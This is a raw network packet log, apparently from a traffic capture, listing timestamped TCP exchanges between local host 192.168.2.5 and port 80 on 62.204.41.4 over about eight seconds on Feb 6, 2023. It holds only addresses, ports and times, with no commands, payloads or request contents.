Feb 6, 2023 14:18:53.118680000 CET	50149	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.119591951 CET	50150	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.179096937 CET	80	50150	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.179362059 CET	50150	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.180274963 CET	50150	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.180468082 CET	80	50149	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.180581093 CET	50149	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.239737988 CET	80	50150	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.244153023 CET	80	50150	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.246844053 CET	50150	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.352600098 CET	50150	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.353358030 CET	50151	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.412791014 CET	80	50150	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.413472891 CET	80	50151	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.413585901 CET	50150	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.413599968 CET	50151	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.414299965 CET	50151	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.474468946 CET	80	50151	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.476975918 CET	80	50151	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.479885101 CET	50151	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.587193012 CET	50151	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.587903976 CET	50152	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.647614002 CET	80	50151	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.647883892 CET	50151	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.648303032 CET	80	50152	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.648428917 CET	50152	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.649178982 CET	50152	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.709445000 CET	80	50152	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.712241888 CET	80	50152	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.712398052 CET	50152	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.821186066 CET	50152	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.821886063 CET	50153	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.881567001 CET	80	50152	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.881742954 CET	50152	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.882462978 CET	80	50153	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.882605076 CET	50153	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.883683920 CET	50153	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:53.944363117 CET	80	50153	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.947201014 CET	80	50153	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:53.947278023 CET	50153	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.055777073 CET	50153	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.058582067 CET	50154	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.116650105 CET	80	50153	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.116843939 CET	50153	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.119086027 CET	80	50154	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.119780064 CET	50154	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.119780064 CET	50154	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.180300951 CET	80	50154	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.184797049 CET	80	50154	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.187201023 CET	50154	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.292507887 CET	50155	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.292515039 CET	50154	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.352936983 CET	80	50155	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.353086948 CET	80	50154	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.353178978 CET	50155	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.353552103 CET	50154	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.353665113 CET	50155	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.413866997 CET	80	50155	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.416800022 CET	80	50155	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.416975975 CET	50155	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.524848938 CET	50155	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.525835037 CET	50156	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.585196018 CET	80	50155	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.585362911 CET	50155	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.587413073 CET	80	50156	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.587549925 CET	50156	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.587905884 CET	50156	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.649532080 CET	80	50156	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.652446032 CET	80	50156	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.652595043 CET	50156	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.759784937 CET	50156	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.760524988 CET	50157	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.821548939 CET	80	50156	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.821662903 CET	50156	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.821907997 CET	80	50157	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.822009087 CET	50157	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.822505951 CET	50157	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:54.883938074 CET	80	50157	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.886236906 CET	80	50157	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:54.887202978 CET	50157	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.009448051 CET	50157	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.010067940 CET	50158	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.070971012 CET	80	50157	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.071693897 CET	80	50158	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.071788073 CET	50158	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.072109938 CET	50157	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.072146893 CET	50158	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.133867025 CET	80	50158	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.137774944 CET	80	50158	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.137881994 CET	50158	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.243232012 CET	50158	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.244338036 CET	50159	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.304794073 CET	80	50159	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.304923058 CET	80	50158	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.304949999 CET	50159	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.304984093 CET	50158	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.306571960 CET	50159	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.367019892 CET	80	50159	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.369514942 CET	80	50159	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.369604111 CET	50159	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.477401018 CET	50159	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.478825092 CET	50160	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.537992001 CET	80	50159	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.538285971 CET	50159	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.540307999 CET	80	50160	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.540617943 CET	50160	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.547494888 CET	50160	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.608886003 CET	80	50160	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.611332893 CET	80	50160	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.614665031 CET	50160	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.728780031 CET	50160	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.729760885 CET	50161	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.790339947 CET	80	50161	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.790374994 CET	80	50160	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.790497065 CET	50160	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.790575027 CET	50161	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.790925026 CET	50161	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.851387024 CET	80	50161	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.854116917 CET	80	50161	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:55.854198933 CET	50161	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.963422060 CET	50161	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:55.964293957 CET	50162	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.024871111 CET	80	50161	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.025418043 CET	80	50162	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.025564909 CET	50161	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.025602102 CET	50162	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.026170015 CET	50162	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.086483002 CET	80	50162	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.090836048 CET	80	50162	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.091022968 CET	50162	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.201147079 CET	50162	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.201858044 CET	50163	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.261713028 CET	80	50162	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.263071060 CET	50162	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.264277935 CET	80	50163	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.264457941 CET	50163	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.264796972 CET	50163	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.327121973 CET	80	50163	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.329933882 CET	80	50163	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.330073118 CET	50163	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.446863890 CET	50163	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.447689056 CET	50164	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.508064032 CET	80	50164	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.509455919 CET	80	50163	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.509702921 CET	50163	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.510220051 CET	50164	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.510220051 CET	50164	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.570744038 CET	80	50164	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.573378086 CET	80	50164	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.573653936 CET	50164	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.680872917 CET	50164	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.681755066 CET	50165	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.741417885 CET	80	50164	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.741605043 CET	50164	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.743077993 CET	80	50165	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.743251085 CET	50165	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.744687080 CET	50165	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.806056976 CET	80	50165	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.808456898 CET	80	50165	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.808552980 CET	50165	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.915117979 CET	50165	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.915918112 CET	50166	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.976373911 CET	80	50166	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.976514101 CET	80	50165	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:56.976682901 CET	50165	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.976716042 CET	50166	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:56.977674007 CET	50166	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.038008928 CET	80	50166	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.042531967 CET	80	50166	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.042804003 CET	50166	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.150307894 CET	50166	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.151278973 CET	50167	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.210629940 CET	80	50166	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.210791111 CET	50166	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.211641073 CET	80	50167	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.211745024 CET	50167	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.212251902 CET	50167	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.272650003 CET	80	50167	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.275357962 CET	80	50167	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.275538921 CET	50167	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.384404898 CET	50167	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.385277033 CET	50168	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.445075989 CET	80	50167	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.445293903 CET	50167	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.447654963 CET	80	50168	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.447849989 CET	50168	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.456115007 CET	50168	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.518465042 CET	80	50168	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.522361994 CET	80	50168	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.522507906 CET	50168	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.634732008 CET	50168	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.635369062 CET	50169	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.700062037 CET	80	50169	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.700103998 CET	80	50168	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.700258970 CET	50168	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.700716019 CET	50169	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.700716019 CET	50169	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.761970043 CET	80	50169	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.764674902 CET	80	50169	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.764745951 CET	50169	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.868719101 CET	50169	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.869806051 CET	50170	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.929409027 CET	80	50170	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.929563046 CET	50170	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.929903984 CET	80	50169	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.930095911 CET	50169	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.930319071 CET	50170	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:57.990003109 CET	80	50170	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.992721081 CET	80	50170	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:57.992832899 CET	50170	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.102581024 CET	50170	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.103195906 CET	50171	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.162280083 CET	80	50170	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.162398100 CET	50170	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.164724112 CET	80	50171	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.164845943 CET	50171	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.166615963 CET	50171	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.228157997 CET	80	50171	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.233177900 CET	80	50171	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.233246088 CET	50171	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.337157965 CET	50171	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.337835073 CET	50172	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.398103952 CET	80	50172	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.398291111 CET	50172	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.398575068 CET	80	50171	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.398669958 CET	50171	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.399243116 CET	50172	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.459544897 CET	80	50172	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.462138891 CET	80	50172	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.462347984 CET	50172	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.575016022 CET	50172	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.575839043 CET	50173	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.635586023 CET	80	50172	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.635695934 CET	50172	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.637398958 CET	80	50173	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.637542963 CET	50173	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.637896061 CET	50173	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.699395895 CET	80	50173	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.705470085 CET	80	50173	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.706880093 CET	50173	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.822626114 CET	50173	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.824182034 CET	50174	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.884291887 CET	80	50173	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.884337902 CET	80	50174	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.884469032 CET	50173	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.884519100 CET	50174	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.884943008 CET	50174	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:58.945087910 CET	80	50174	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.947803974 CET	80	50174	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:58.951764107 CET	50174	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.056782961 CET	50174	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.058641911 CET	50175	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.117338896 CET	80	50174	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.117574930 CET	50174	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.119364977 CET	80	50175	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.121509075 CET	50175	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.121879101 CET	50175	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.182511091 CET	80	50175	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.186496019 CET	80	50175	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.186649084 CET	50175	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.292296886 CET	50175	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.293025970 CET	50176	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.353344917 CET	80	50175	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.353565931 CET	50175	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.355142117 CET	80	50176	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.358557940 CET	50176	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.358931065 CET	50176	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.421020031 CET	80	50176	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.424455881 CET	80	50176	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.424662113 CET	50176	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.543790102 CET	50176	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.544636965 CET	50177	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.606141090 CET	80	50177	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.606178045 CET	80	50176	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.606442928 CET	50176	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.606628895 CET	50177	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.607120991 CET	50177	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.668508053 CET	80	50177	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.670885086 CET	80	50177	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.671051025 CET	50177	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.782175064 CET	50177	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.783659935 CET	50178	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.843275070 CET	80	50178	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.843436956 CET	50178	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.843719959 CET	80	50177	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.843812943 CET	50177	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.843879938 CET	50178	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:59.903326035 CET	80	50178	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.905893087 CET	80	50178	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:59.906096935 CET	50178	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.009356022 CET	50178	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.010201931 CET	50179	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.069901943 CET	80	50178	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.069993973 CET	50178	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.071516991 CET	80	50179	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.071633101 CET	50179	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.072206974 CET	50179	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.133519888 CET	80	50179	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.137847900 CET	80	50179	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.138003111 CET	50179	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.244137049 CET	50179	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.246793032 CET	50180	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.305661917 CET	80	50179	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.305830002 CET	50179	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.307992935 CET	80	50180	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.308157921 CET	50180	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.308509111 CET	50180	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.369777918 CET	80	50180	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.373677015 CET	80	50180	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.373883009 CET	50180	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.493810892 CET	50180	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.494616032 CET	50181	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.555352926 CET	80	50180	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.555454969 CET	50180	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.557210922 CET	80	50181	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.557301044 CET	50181	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.557837009 CET	50181	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.620642900 CET	80	50181	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.622848034 CET	80	50181	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.622910023 CET	50181	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.727744102 CET	50181	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.728379965 CET	50182	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.787766933 CET	80	50182	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.787888050 CET	50182	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.788880110 CET	50182	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.790395021 CET	80	50181	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.790462971 CET	50181	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.848211050 CET	80	50182	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.851037979 CET	80	50182	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:00.851135969 CET	50182	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.962735891 CET	50182	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:00.964380980 CET	50183	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.022269011 CET	80	50182	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.023164034 CET	50182	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.025810957 CET	80	50183	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.025927067 CET	50183	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.029659033 CET	50183	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.091197968 CET	80	50183	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.094944000 CET	80	50183	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.095067978 CET	50183	80	192.168.2.5	62.204.41.4
